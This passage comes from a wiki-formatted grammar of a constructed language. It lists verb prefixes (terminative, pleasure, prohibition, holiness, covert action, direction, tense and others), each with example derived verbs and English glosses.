::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
